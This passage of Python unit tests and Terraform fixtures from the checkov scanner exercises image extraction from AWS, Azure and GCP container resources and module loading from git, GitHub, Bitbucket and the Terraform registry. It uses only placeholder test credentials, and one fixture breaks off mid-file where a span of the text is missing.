2, 'batch', 'module') # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): aws_provider = AwsTerraformProvider(graph_connector=graph) images = aws_provider.extract_images_from_resources() # then assert images == [ Image( file_path='/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/aws_batch_job_definition.batch.tf', name="nginx", start_line=1, end_line=8, related_resource_id='/aws_batch_job_definition.batch.tf:module.batch.aws_batch_job_definition.batch' ), Image( file_path='/tmp/checkov/cshayner/cshayner/terraform-aws-batch/master/src/aws_batch_job_definition.batch.tf', name="python:3.9-alpine", start_line=1, end_line=8, related_resource_id='/aws_batch_job_definition.batch.tf:module.batch.aws_batch_job_definition.batch' ), ] @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_extract_images_from_resources(graph_framework): # given resource = { "file_path_": "/ecs.tf", "__end_line__": 31, "__start_line__": 1, "container_definitions": [ { "name": "first", "image": "nginx", "cpu": 10, "memory": 512, "essential": True, "portMappings": [{"containerPort": 80, "hostPort": 80}], }, { "name": "second", "image": "python:3.9-alpine", "cpu": 10, "memory": 256, "essential": True, "portMappings": [{"containerPort": 443, "hostPort": 443}], }, ], "resource_type": "aws_ecs_task_definition", } graph = set_graph_by_graph_framework(graph_framework) add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): aws_provider = AwsTerraformProvider(graph_connector=graph) images = aws_provider.extract_images_from_resources() # then assert images == [ Image( file_path="/ecs.tf", name="nginx", start_line=1, end_line=31, related_resource_id='/ecs.tf:None' ), Image( file_path="/ecs.tf", name="python:3.9-alpine", start_line=1, end_line=31, related_resource_id='/ecs.tf:None' ), ] @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_extract_images_from_resources_with_no_image(graph_framework): # given resource = { "file_path_": "/ecs.tf", "__end_line__": 31, "__start_line__": 1, "container_definitions": [ { "name": "first", "cpu": 10, "memory": 512, "essential": True, "portMappings": [{"containerPort": 80, "hostPort": 80}], }, ], "resource_type": "aws_ecs_task_definition", } graph = set_graph_by_graph_framework(graph_framework) add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): aws_provider = AwsTerraformProvider(graph_connector=graph) images = aws_provider.extract_images_from_resources() # then assert not images ================================================ FILE: tests/terraform/image_referencer/provider/test_azure.py ================================================ from unittest import mock import pytest from checkov.common.images.image_referencer import Image from checkov.terraform.image_referencer.provider.azure import AzureTerraformProvider from tests.graph_utils.utils import GRAPH_FRAMEWORKS, \ set_graph_by_graph_framework, add_vertices_to_graph_by_graph_framework @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_extract_images_from_resources(graph_framework): # given resource = { "file_path_": "/batch.tf", "__end_line__": 25, "__start_line__": 1, "container_configuration": { "container_image_names": ["nginx", "python:3.9-alpine"], "container_registries": { "password": "myPassword", # checkov:skip=CKV_SECRET_6 test secret "registry_server": "myContainerRegistry.azurecr.io", "user_name": "myUserName", }, "type": "DockerCompatible", }, "resource_type": "azurerm_batch_pool", } graph = set_graph_by_graph_framework(graph_framework) add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): azure_provider = AzureTerraformProvider(graph_connector=graph) images = azure_provider.extract_images_from_resources() # then assert images == [ Image(file_path="/batch.tf", name="nginx", start_line=1, end_line=25, related_resource_id='/batch.tf:None'), Image(file_path="/batch.tf", name="python:3.9-alpine", start_line=1, end_line=25, related_resource_id='/batch.tf:None'), ] @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_extract_images_from_resources_with_no_image(graph_framework): # given resource = { "file_path_": "/batch.tf", "__end_line__": 25, "__start_line__": 1, "container_configuration": { "container_image_names": [], "container_registries": { "password": "myPassword", "registry_server": "myContainerRegistry.azurecr.io", "user_name": "myUserName", }, "type": "DockerCompatible", }, "resource_type": "azurerm_batch_pool", } graph = set_graph_by_graph_framework(graph_framework) add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): azure_provider = AzureTerraformProvider(graph_connector=graph) images = azure_provider.extract_images_from_resources() # then assert not images ================================================ FILE: tests/terraform/image_referencer/provider/test_gcp.py ================================================ import os import unittest from unittest import mock from parameterized import parameterized_class from checkov.common.images.image_referencer import Image from checkov.terraform.image_referencer.provider.gcp import GcpTerraformProvider from tests.graph_utils.utils import set_graph_by_graph_framework, PARAMETERIZED_GRAPH_FRAMEWORKS, \ add_vertices_to_graph_by_graph_framework @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestGcp(unittest.TestCase): def setUp(self) -> None: self.graph = set_graph_by_graph_framework(self.graph_framework) def test_extract_images_from_resources(self): # given resource = { "file_path_": "/cloud_run.tf", "__end_line__": 17, "__start_line__": 1, "template": { "spec": { "containers": { "image": "gcr.io/cloudrun/hello", } } }, "resource_type": "google_cloud_run_service", } self.graph = set_graph_by_graph_framework(self.graph_framework) add_vertices_to_graph_by_graph_framework(self.graph_framework, resource, self.graph) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': self.graph_framework}): gcp_provider = GcpTerraformProvider(graph_connector=self.graph) images = gcp_provider.extract_images_from_resources() # then assert images == [ Image( file_path="/cloud_run.tf", name="gcr.io/cloudrun/hello", start_line=1, end_line=17, related_resource_id="/cloud_run.tf:None", ), ] def test_extract_images_from_resources_with_no_image(self): # given resource = { "file_path_": "/cloud_run.tf", "__end_line__": 17, "__start_line__": 1, "template": { "spec": { "containers": { "working_dir": "/tmp", } } }, "resource_type": "google_cloud_run_service", } self.graph = set_graph_by_graph_framework(self.graph_framework) add_vertices_to_graph_by_graph_framework(self.graph_framework, resource, self.graph) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': self.graph_framework}): gcp_provider = GcpTerraformProvider(graph_connector=self.graph) images = gcp_provider.extract_images_from_resources() # then assert not images if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/image_referencer/resources/aws/apprunner.tf ================================================ resource "aws_apprunner_service" "example" { service_name = "example" source_configuration { image_repository { image_configuration { port = "8000" } image_identifier = "public.ecr.aws/aws-containers/hello-app-runner:latest" image_repository_type = "ECR_PUBLIC" } auto_deployments_enabled = false } tags = { Name = "example-apprunner-service" } } ================================================ FILE: tests/terraform/image_referencer/resources/aws/apprunner_tfplan.json ================================================ { "format_version": "1.0", "terraform_version": "1.1.5", "planned_values": { "root_module": { "resources": [ { "address": "aws_apprunner_service.example", "mode": "managed", "type": "aws_apprunner_service", "name": "example", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "encryption_configuration": [], "observability_configuration": [], "service_name": "example", "source_configuration": [ { "authentication_configuration": [], "auto_deployments_enabled": false, "code_repository": [], "image_repository": [ { "image_configuration": [ { "port": "8000", "runtime_environment_variables": null, "start_command": null } ], "image_identifier": "public.ecr.aws/aws-containers/hello-app-runner:latest", "image_repository_type": "ECR_PUBLIC" } ] } ], "tags": { "Name": "example-apprunner-service" }, "tags_all": { "Name": "example-apprunner-service" } }, "sensitive_values": { "encryption_configuration": [], "health_check_configuration": [], "instance_configuration": [], "network_configuration": [], "observability_configuration": [], "source_configuration": [ { "authentication_configuration": [], "code_repository": [], "image_repository": [ { "image_configuration": [ {} ] } ] } ], "tags": {}, "tags_all": {} } } ] } }, "resource_changes": [ { "address": "aws_apprunner_service.example", "mode": "managed", "type": "aws_apprunner_service", "name": "example", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "encryption_configuration": [], "observability_configuration": [], "service_name": "example", "source_configuration": [ { "authentication_configuration": [], "auto_deployments_enabled": false, "code_repository": [], "image_repository": [ { "image_configuration": [ { "port": "8000", "runtime_environment_variables": null, "start_command": null } ], "image_identifier": "public.ecr.aws/aws-containers/hello-app-runner:latest", "image_repository_type": "ECR_PUBLIC" } ] } ], "tags": { "Name": "example-apprunner-service" }, "tags_all": { "Name": "example-apprunner-service" } }, "after_unknown": { "arn": true, "auto_scaling_configuration_arn": true, "encryption_configuration": [], "health_check_configuration": true, "id": true, "instance_configuration": true, "network_configuration": true, "observability_configuration": [], "service_id": true, "service_url": true, "source_configuration": [ { "authentication_configuration": [], "code_repository": [], "image_repository": [ { "image_configuration": [ {} ] } ] } ], "status": true, "tags": {}, "tags_all": {} }, "before_sensitive": false, "after_sensitive": { "encryption_configuration": [], "health_check_configuration": [], "instance_configuration": [], "network_configuration": [], "observability_configuration": [], "source_configuration": [ { "authentication_configuration": [], "code_repository": [], "image_repository": [ { "image_configuration": [ {} ] } ] } ], "tags": {}, "tags_all": {} } } } ], "configuration": { "provider_config": { "aws": { "name": "aws", "expressions": { "profile": { "constant_value": "dev2" }, "region": { "constant_value": "us-west-2" } } } }, "root_module": { "resources": [ { "address": "aws_apprunner_service.example", "mode": "managed", "type": "aws_apprunner_service", "name": "example", "provider_config_key": "aws", "expressions": { "service_name": { "constant_value": "example" }, "source_configuration": [ { "auto_deployments_enabled": { "constant_value": false }, "image_repository": [ { "image_configuration": [ { "port": { "constant_value": "8000" } } ], "image_identifier": { "constant_value": "public.ecr.aws/aws-containers/hello-app-runner:latest" }, "image_repository_type": { "constant_value": "ECR_PUBLIC" } } ] } ], "tags": { "constant_value": { "Name": "example-apprunner-service" } } }, "schema_version": 0 } ] } } } ================================================ FILE: tests/terraform/image_referencer/resources/aws/batch.tf ================================================ resource "aws_batch_job_definition" "test" { name = "tf_test_batch_job_definition" type = "container" container_properties = < None: git_loader = GenericGitLoader() module_params = ModuleParams( root_dir="test", current_dir="test", source=source, source_version="source_version", dest_dir="test", external_modules_folder_name="test", inner_module="", tf_managed=False ) module_source = git_loader._parse_module_source(module_params) assert module_source.root_module == expected_root_module assert module_source.inner_module == expected_inner_module ================================================ FILE: tests/terraform/module_loading/loaders/test_local_path_loader.py ================================================ import os import unittest from checkov.terraform.module_loading.loaders.local_path_loader import loader from checkov.terraform.module_loading.module_params import ModuleParams class TestLocalPathLoader(unittest.TestCase): def test_child_dir(self): current_dir = os.path.dirname(os.path.realpath(__file__)) module_params = ModuleParams(current_dir, current_dir, "./resources", None, "", "") content = loader.load(module_params) assert content.loaded() assert content.path() == os.path.join(current_dir, "resources") def test_unhandled_source(self): module_params = ModuleParams("current_dir", "current_dir", "hashicorp/consul/aws", None, "", "") content = loader.load(module_params) assert not content.loaded() def test_bad_source(self): current_dir = os.path.dirname(os.path.realpath(__file__)) with self.assertRaises(FileNotFoundError): module_params = ModuleParams(current_dir, current_dir, "./path_that_doesnt_exist", None, '', '') loader.load(module_params) def test_absolute_path(self): # Generate absolute path dynamically so test is OS agnostic current_dir = os.path.dirname(os.path.realpath(__file__)) target_dir = os.path.join(current_dir, "resources") module_params = ModuleParams(current_dir, current_dir, target_dir, None, '', '') content = loader.load(module_params) assert content.loaded() assert content.path() == os.path.join(current_dir, "resources") ================================================ FILE: tests/terraform/module_loading/loaders/test_registry_loader.py ================================================ import responses import pytest from unittest import mock from checkov.terraform.module_loading.loaders.registry_loader import RegistryLoader from checkov.terraform.module_loading.module_params import ModuleParams @responses.activate def test_module_version_url_invoked_once(): # given module_version_url = "https://registry.terraform.io/v1/modules/terraform-aws-modules/example/versions" responses.add( method=responses.GET, url=module_version_url, json={"modules": [{"versions": [{"version": "1.0.0"}]}]}, status=200, ) loader = RegistryLoader() RegistryLoader.modules_versions_cache = {} # reset cache module_params = ModuleParams("", "", "terraform-aws-modules/example", "", "", "") loader.discover(module_params) # when loader._is_matching_loader(module_params) loader._is_matching_loader(module_params) # then responses.assert_call_count(module_version_url, 1) assert loader.modules_versions_cache == {module_version_url: ["1.0.0"]} def test_determine_tf_api_endpoints_tfc(): # given loader = RegistryLoader() module_params = ModuleParams("", "", "terraform-aws-modules/example", "", "", "") loader.discover(module_params) # when loader._determine_tf_api_endpoints(module_params) # then assert module_params.tf_host_name == "app.terraform.io" assert module_params.tf_modules_endpoint == "https://registry.terraform.io/v1/modules/" assert module_params.tf_modules_versions_endpoint == "https://registry.terraform.io/v1/modules/terraform-aws-modules/example/versions" @pytest.mark.parametrize( "discovery_response", [ ({ "modules.v1": "/api/registry/v1/modules/", "providers.v1": "/api/registry/v1/providers/", "state.v2": "/api/v2/", "tfe.v2": "/api/v2/", "tfe.v2.1": "/api/v2/", "tfe.v2.2": "/api/v2/", "versions.v1": "https://checkpoint-api.hashicorp.com/v1/versions/" }), ({ "modules.v1": "https://example.registry.com/api/registry/v1/modules/", "providers.v1": "https://example.registry.com/api/registry/v1/providers/", "state.v2": "https://example.registry.com/api/v2/", "tfe.v2": "https://example.registry.com/api/v2/", "tfe.v2.1": "https://example.registry.com/api/v2/", "tfe.v2.2": "https://example.registry.com/api/v2/", "versions.v1": "https://checkpoint-api.hashicorp.com/v1/versions/" }), ] ) @responses.activate def test_determine_tf_api_endpoints_tfe(discovery_response): # given loader = RegistryLoader() module_params = ModuleParams("", "", "example.registry.com/terraform-aws-modules/example", "", "", "") with mock.patch.dict("os.environ", {"TF_HOST_NAME": "example.registry.com"}): loader.discover(module_params) responses.add( method=responses.GET, url=f"https://{module_params.tf_host_name}/.well-known/terraform.json", json=discovery_response, status=200, ) # when loader._determine_tf_api_endpoints(module_params) # then responses.assert_call_count(f"https://{module_params.tf_host_name}/.well-known/terraform.json", 1) assert module_params.tf_host_name == "example.registry.com" assert module_params.tf_modules_endpoint == "https://example.registry.com/api/registry/v1/modules/" assert module_params.tf_modules_versions_endpoint == "https://example.registry.com/api/registry/v1/modules/terraform-aws-modules/example/versions" @responses.activate def test_load_module(): # given loader = RegistryLoader() module_params = ModuleParams("", "", "terraform-aws-modules/example", "", "", "") module_params.tf_modules_endpoint = "https://example.registry.com/api/registry/v1/modules/" module_params.best_version = "1.0.0" with mock.patch.dict("os.environ", {"TF_HOST_NAME": "example.registry.com"}): loader.discover(module_params) responses.add( method=responses.GET, url="https://example.registry.com/api/registry/v1/modules/terraform-aws-modules/example/1.0.0/download", status=200, ) # when loader._load_module(module_params) # then responses.assert_call_count("https://example.registry.com/api/registry/v1/modules/terraform-aws-modules/example/1.0.0/download", 1) @pytest.mark.parametrize( "download_url, expected_result", [ ("https://example.com/download?archive=tgz", "tgz"), ("https://example.com/download?archive=zip", "zip"), ("https://example.com/download/module.zip", "zip"), ("https://example.com/download/module.zip?sig=foo", "zip"), ("https://example.com/download/module/archive", None), ] ) def test_get_archive_extension(download_url, expected_result): archive_extension = RegistryLoader._get_archive_extension(download_url) assert archive_extension == expected_result @pytest.mark.parametrize( "tf_host_name, module_download_url, expected_result", [ ("example.com", "https://example.com/download?archive=tgz", "https://example.com/download?archive=tgz"), ("example.com", "https://example.com/abc", "https://example.com/abc"), ("example.com", "/api/registry/v1/modules/namespace/version/download?archive=tgz", "https://example.com/api/registry/v1/modules/namespace/version/download?archive=tgz"), ] ) def test_normalize_module_download_url(tf_host_name, module_download_url, expected_result): # given loader = RegistryLoader() module_params = ModuleParams("", "", "example.com/terraform-aws-modules/example", "", "", "") with mock.patch.dict("os.environ", {"TF_HOST_NAME": tf_host_name}): loader.discover(module_params) # when normalized_url = loader._normalize_module_download_url(module_params, module_download_url) # then assert normalized_url == expected_result @pytest.mark.parametrize( "source_url", [ ("git::https://example.com/repo.git"), ("git@github.com:org/repo"), ("github.com/org/repo"), ("bitbucket.org/org/repo"), ] ) def test_is_matching_loader_git_sources(source_url): #given loader = RegistryLoader() module_params = ModuleParams("", "", source_url, "", "", "") loader.discover(module_params) # then assert not loader._is_matching_loader(module_params) def test_load_module_returns_inner_module_path_when_dest_dir_exists(tmp_path): """ When dest_dir already exists (e.g. a previous module from the same base source was already downloaded) and inner_module is set, _load_module should return the inner module subdirectory, not just the base dest_dir. This is the scenario that caused only the first set of inner modules to be scanned on Linux, while subsequent inner modules from the same base source were silently skipped. """ # given loader = RegistryLoader() base_dir = tmp_path / "base_module" inner_module_a = base_dir / "modules" / "asg" inner_module_b = base_dir / "modules" / "ssm_document" # Simulate a previously downloaded module: create the base dir and both inner module dirs inner_module_a.mkdir(parents=True) inner_module_b.mkdir(parents=True) # First module: modules/asg module_params_a = ModuleParams( root_dir=str(tmp_path), current_dir=str(tmp_path), source="example.com/org/repo//modules/asg", source_version="1.0.0", dest_dir=str(base_dir), external_modules_folder_name=".external_modules", inner_module="modules/asg", ) module_params_a.best_version = "1.0.0" # Second module: modules/ssm_document (different inner module, same base) module_params_b = ModuleParams( root_dir=str(tmp_path), current_dir=str(tmp_path), source="example.com/org/repo//modules/ssm_document", source_version="1.0.0", dest_dir=str(base_dir), external_modules_folder_name=".external_modules", inner_module="modules/ssm_document", ) module_params_b.best_version = "1.0.0" # when content_a = loader._load_module(module_params_a) content_b = loader._load_module(module_params_b) # then - both should return their respective inner module paths assert content_a.loaded() assert content_a.path() == str(inner_module_a) assert content_b.loaded() assert content_b.path() == str(inner_module_b) # and they should be different paths assert content_a.path() != content_b.path() def test_load_module_returns_dest_dir_when_no_inner_module(tmp_path): """ When dest_dir already exists and there is no inner_module, _load_module should return dest_dir as before (no regression). """ # given loader = RegistryLoader() base_dir = tmp_path / "base_module" base_dir.mkdir(parents=True) module_params = ModuleParams( root_dir=str(tmp_path), current_dir=str(tmp_path), source="example.com/org/repo", source_version="1.0.0", dest_dir=str(base_dir), external_modules_folder_name=".external_modules", ) module_params.best_version = "1.0.0" # when content = loader._load_module(module_params) # then assert content.loaded() assert content.path() == str(base_dir) ================================================ FILE: tests/terraform/module_loading/loaders/test_version_parser.py ================================================ import pytest from checkov.terraform.module_loading.loaders.versions_parser import get_version_constraints @pytest.mark.parametrize( "input_str,expected", [ ("1.2.0", "=1.2.0"), ("1.2.0-rc1", "=1.2.0rc1"), (">= 1.2.0, < 2.0.0", ">=1.2.0,<2.0.0"), ("not-a-version", ""), ("<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=<=>=1.2.3", ""), ], ids=["sem_ver", "pre_release", "multi", "not_a_version", "back_tracking"], ) def test_get_version_constraints(input_str: str, expected: str) -> None: result = get_version_constraints(input_str) assert ",".join(str(version) for version in result) == expected ================================================ FILE: tests/terraform/module_loading/test_registry.py ================================================ import os from contextlib import ExitStack as does_not_raise from pathlib import Path from unittest import mock import pytest from checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR from checkov.common.util.env_vars_config import env_vars_config from checkov.terraform.module_loading.loaders.bitbucket_loader import BitbucketLoader # noqa from checkov.terraform.module_loading.loaders.git_loader import GenericGitLoader # noqa from checkov.terraform.module_loading.loaders.github_loader import GithubLoader # noqa from checkov.terraform.module_loading.module_params import ModuleParams from checkov.terraform.module_loading.registry import ModuleLoaderRegistry # noqa from checkov.terraform.module_loading.content import ModuleContent from checkov.terraform.module_loading.loaders.github_access_token_loader import GithubAccessTokenLoader # noqa from checkov.terraform.module_loading.loaders.bitbucket_access_token_loader import BitbucketAccessTokenLoader # noqa @pytest.mark.parametrize( "source, source_version, expected_content_path, expected_git_url, expected_dest_dir, expected_module_source, expected_inner_module", [ ( "terraform-aws-modules/security-group/aws", "4.0.0", "github.com/terraform-aws-modules/terraform-aws-security-group/ff2efb814c924572d27280b99a799fc34d061109", "https://github.com/terraform-aws-modules/terraform-aws-security-group?ref=ff2efb814c924572d27280b99a799fc34d061109", "github.com/terraform-aws-modules/terraform-aws-security-group/v4.0.0", "git::https://github.com/terraform-aws-modules/terraform-aws-security-group?ref=ff2efb814c924572d27280b99a799fc34d061109", "", ), ( "terraform-aws-modules/security-group/aws//modules/http-80", "4.0.0", "github.com/terraform-aws-modules/terraform-aws-security-group/ff2efb814c924572d27280b99a799fc34d061109/modules/http-80", "https://github.com/terraform-aws-modules/terraform-aws-security-group?ref=ff2efb814c924572d27280b99a799fc34d061109", "github.com/terraform-aws-modules/terraform-aws-security-group/v4.0.0", "git::https://github.com/terraform-aws-modules/terraform-aws-security-group?ref=ff2efb814c924572d27280b99a799fc34d061109", "modules/http-80", ) ], ids=["module_with_version", "inner_module_with_version"], ) @mock.patch("checkov.terraform.module_loading.loaders.git_loader.GitGetter", autospec=True) def test_load_terraform_registry( git_getter, tmp_path: Path, source, source_version, expected_content_path, expected_git_url, expected_dest_dir, expected_module_source, expected_inner_module, ): # given current_dir = tmp_path / "tf_registry" registry = ModuleLoaderRegistry(download_external_modules=True) registry.module_content_cache = {} # when content = registry.load(current_dir=str(current_dir), source=source, source_version=source_version) # then assert content.loaded() assert content.path() == str(Path(DEFAULT_EXTERNAL_MODULES_DIR) / expected_content_path) git_getter.assert_called_once_with(expected_git_url, mock.ANY) @pytest.mark.parametrize( "source, expected_content_path, expected_git_url, expected_dest_dir, expected_module_source, expected_inner_module", [ ( "git::https://example.com/network.git", "example.com/network/HEAD", "https://example.com/network.git", "example.com/network/HEAD", "git::https://example.com/network.git", "", ), ( "git::https://example.com/network.git?ref=v1.2.0", "example.com/network/v1.2.0", "https://example.com/network.git?ref=v1.2.0", "example.com/network/v1.2.0", "git::https://example.com/network.git?ref=v1.2.0", "", ), ( "git::https://example.com/network.git//modules/vpc", "example.com/network/HEAD/modules/vpc", "https://example.com/network", "example.com/network/HEAD", "git::https://example.com/network", "modules/vpc", ), ( "git::https://example.com/network.git//modules/vpc?ref=v1.2.0", "example.com/network/v1.2.0/modules/vpc", "https://example.com/network?ref=v1.2.0", "example.com/network/v1.2.0", "git::https://example.com/network?ref=v1.2.0", "modules/vpc", ), ( "git::ssh://username@example.com/network.git", "example.com/network/HEAD", "ssh://username@example.com/network.git", "example.com/network/HEAD", "git::ssh://username@example.com/network.git", "", ), ( "git::ssh://username@example.com/network.git?ref=v1.2.0", "example.com/network/v1.2.0", "ssh://username@example.com/network.git?ref=v1.2.0", "example.com/network/v1.2.0", "git::ssh://username@example.com/network.git?ref=v1.2.0", "", ), ( "git::username@example.com/network.git", "example.com/network/HEAD", "username@example.com/network.git", "example.com/network/HEAD", "git::username@example.com/network.git", "", ), ( "git::username@example.com/network.git?ref=v1.2.0", "example.com/network/v1.2.0", "username@example.com/network.git?ref=v1.2.0", "example.com/network/v1.2.0", "git::username@example.com/network.git?ref=v1.2.0", "", ), ( "git::ssh://git@github.com/bridgecrewio/terragoat//modules/s3-encrypted", "git@github.com/bridgecrewio/terragoat/HEAD/modules/s3-encrypted", "ssh://git@github.com/bridgecrewio/terragoat", "git@github.com/bridgecrewio/terragoat/HEAD", "git::ssh://git@github.com/bridgecrewio/terragoat", "modules/s3-encrypted", ), ( "git::git@github.com/bridgecrewio/terragoat//modules/s3-encrypted", "git@github.com/bridgecrewio/terragoat/HEAD/modules/s3-encrypted", "ssh://git@github.com/bridgecrewio/terragoat", "git@github.com/bridgecrewio/terragoat/HEAD", "git::ssh://git@github.com/bridgecrewio/terragoat", "modules/s3-encrypted", ), ], ids=[ "module", "module_with_version", "inner_module", "inner_module_with_version", "module_over_ssh", "module_over_ssh_with_version", "module_over_ssh_without_protocol", "module_over_ssh_without_protocol_with_version", "git_username", "git::git@ syntax" ], ) @mock.patch("checkov.terraform.module_loading.loaders.git_loader.GitGetter", autospec=True) def test_load_generic_git( git_getter, tmp_path: Path, source, expected_content_path, expected_git_url, expected_dest_dir, expected_module_source, expected_inner_module, ): # given current_dir = tmp_path / "generic" registry = ModuleLoaderRegistry(download_external_modules=True) registry.module_content_cache = {} # when content = registry.load(current_dir=str(current_dir), source=source, source_version="latest") # then assert content.loaded() assert content.path() == str(Path(DEFAULT_EXTERNAL_MODULES_DIR) / expected_content_path) git_getter.assert_called_once_with(expected_git_url, mock.ANY) @pytest.mark.parametrize( "source, expected_content_path, expected_git_url, expected_dest_dir, expected_module_source, expected_inner_module", [ ( "github.com/terraform-aws-modules/terraform-aws-security-group", "github.com/terraform-aws-modules/terraform-aws-security-group/HEAD", "https://github.com/terraform-aws-modules/terraform-aws-security-group", "github.com/terraform-aws-modules/terraform-aws-security-group/HEAD", "git::https://github.com/terraform-aws-modules/terraform-aws-security-group", "", ), ( "github.com/terraform-aws-modules/terraform-aws-security-group?ref=v4.0.0", "github.com/terraform-aws-modules/terraform-aws-security-group/v4.0.0", "https://github.com/terraform-aws-modules/terraform-aws-security-group?ref=v4.0.0", "github.com/terraform-aws-modules/terraform-aws-security-group/v4.0.0", "git::https://github.com/terraform-aws-modules/terraform-aws-security-group?ref=v4.0.0", "", ), ( "github.com/terraform-aws-modules/terraform-aws-security-group//modules/http-80", "github.com/terraform-aws-modules/terraform-aws-security-group/HEAD/modules/http-80", "https://github.com/terraform-aws-modules/terraform-aws-security-group", "github.com/terraform-aws-modules/terraform-aws-security-group/HEAD", "git::https://github.com/terraform-aws-modules/terraform-aws-security-group", "modules/http-80", ), ( "github.com/terraform-aws-modules/terraform-aws-security-group//modules/http-80?ref=v4.0.0", "github.com/terraform-aws-modules/terraform-aws-security-group/v4.0.0/modules/http-80", "https://github.com/terraform-aws-modules/terraform-aws-security-group?ref=v4.0.0", "github.com/terraform-aws-modules/terraform-aws-security-group/v4.0.0", "git::https://github.com/terraform-aws-modules/terraform-aws-security-group?ref=v4.0.0", "modules/http-80", ), ], ids=["module", "module_with_version", "inner_module", "inner_module_with_version"], ) @mock.patch("checkov.terraform.module_loading.loaders.git_loader.GitGetter", autospec=True) def test_load_github( git_getter, tmp_path: Path, source, expected_content_path, expected_git_url, expected_dest_dir, expected_module_source, expected_inner_module, ): # given current_dir = tmp_path / "github" registry = ModuleLoaderRegistry(download_external_modules=True) registry.module_content_cache = {} # when content = registry.load(current_dir=str(current_dir), source=source, source_version="latest") # then assert content.loaded() assert content.path() == str(Path(DEFAULT_EXTERNAL_MODULES_DIR) / expected_content_path) git_getter.assert_called_once_with(expected_git_url, mock.ANY) # TODO: create a dummy repo in bitbucket for more consistent tests @pytest.mark.parametrize( "source, expected_content_path, expected_git_url, expected_dest_dir, expected_module_source, expected_inner_module", [ ( "bitbucket.org/nuarch/terraform-aws-rancher-server-ha", "bitbucket.org/nuarch/terraform-aws-rancher-server-ha/HEAD", "https://bitbucket.org/nuarch/terraform-aws-rancher-server-ha", "bitbucket.org/nuarch/terraform-aws-rancher-server-ha/HEAD", "git::https://bitbucket.org/nuarch/terraform-aws-rancher-server-ha", "", ), ( "bitbucket.org/nuarch/terraform-aws-rancher-server-ha?ref=v0.1.0", "bitbucket.org/nuarch/terraform-aws-rancher-server-ha/v0.1.0", "https://bitbucket.org/nuarch/terraform-aws-rancher-server-ha?ref=v0.1.0", "bitbucket.org/nuarch/terraform-aws-rancher-server-ha/v0.1.0", "git::https://bitbucket.org/nuarch/terraform-aws-rancher-server-ha?ref=v0.1.0", "", ), ( "bitbucket.org/nuarch/terraform-aws-rancher-server-ha//rancher2-ha", "bitbucket.org/nuarch/terraform-aws-rancher-server-ha/HEAD/rancher2-ha", "https://bitbucket.org/nuarch/terraform-aws-rancher-server-ha", "bitbucket.org/nuarch/terraform-aws-rancher-server-ha/HEAD", "git::https://bitbucket.org/nuarch/terraform-aws-rancher-server-ha", "rancher2-ha", ), ( "bitbucket.org/nuarch/terraform-aws-rancher-server-ha//rancher2-ha?ref=v0.1.0", "bitbucket.org/nuarch/terraform-aws-rancher-server-ha/v0.1.0/rancher2-ha", "https://bitbucket.org/nuarch/terraform-aws-rancher-server-ha?ref=v0.1.0", "bitbucket.org/nuarch/terraform-aws-rancher-server-ha/v0.1.0", "git::https://bitbucket.org/nuarch/terraform-aws-rancher-server-ha?ref=v0.1.0", "rancher2-ha", ), ], ids=["module", "module_with_version", "inner_module", "inner_module_with_version"], ) @mock.patch("checkov.terraform.module_loading.loaders.git_loader.GitGetter", autospec=True) def test_load_bitbucket( git_getter, tmp_path: Path, source, expected_content_path, expected_git_url, expected_dest_dir, expected_module_source, expected_inner_module, ): # given current_dir = tmp_path / "bitbucket" registry = ModuleLoaderRegistry(download_external_modules=True) registry.module_content_cache = {} # when content = registry.load(current_dir=str(current_dir), source=source, source_version="latest") # then assert content.loaded() assert content.path() == str(Path(DEFAULT_EXTERNAL_MODULES_DIR) / expected_content_path) git_getter.assert_called_once_with(expected_git_url, mock.ANY) @pytest.mark.parametrize( "source, expected_content_path, expected_exception", [ ("./loaders/resources", "loaders/resources", does_not_raise()), ("../module_loading/loaders/resources", "loaders/resources", does_not_raise()), ("./does_not_exist", "", pytest.raises(FileNotFoundError)), ], ids=["current_dir", "parent_dir", "not_exists"], ) @mock.patch("checkov.terraform.module_loading.loaders.git_loader.GitGetter", autospec=True) def test_load_local_path(git_getter, tmp_path: Path, source, expected_content_path, expected_exception): # given current_dir = Path(__file__).parent registry = ModuleLoaderRegistry() registry.module_content_cache = {} # when with expected_exception: content = registry.load(current_dir=str(current_dir), source=source, source_version="latest") # then assert content.loaded() assert content.path() == str(current_dir / expected_content_path) git_getter.assert_not_called() @pytest.mark.parametrize( "source, expected_content_path, expected_git_url, expected_dest_dir, expected_module_source, expected_inner_module", [ ( "github.com/kartikp10/terraform-aws-s3-bucket1", "github.com/kartikp10/terraform-aws-s3-bucket1/HEAD", "https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-s3-bucket1", # checkov:skip=CKV_SECRET_4 test secret "github.com/kartikp10/terraform-aws-s3-bucket1/HEAD", "git::https://x-access-token:ghp_xxxxxxxxxxxxxxxxx@github.com/kartikp10/terraform-aws-s3-bucket1", "", ), ( "git::https://github.com/kartikp10/terraform-aws-s3-bucket1.git", 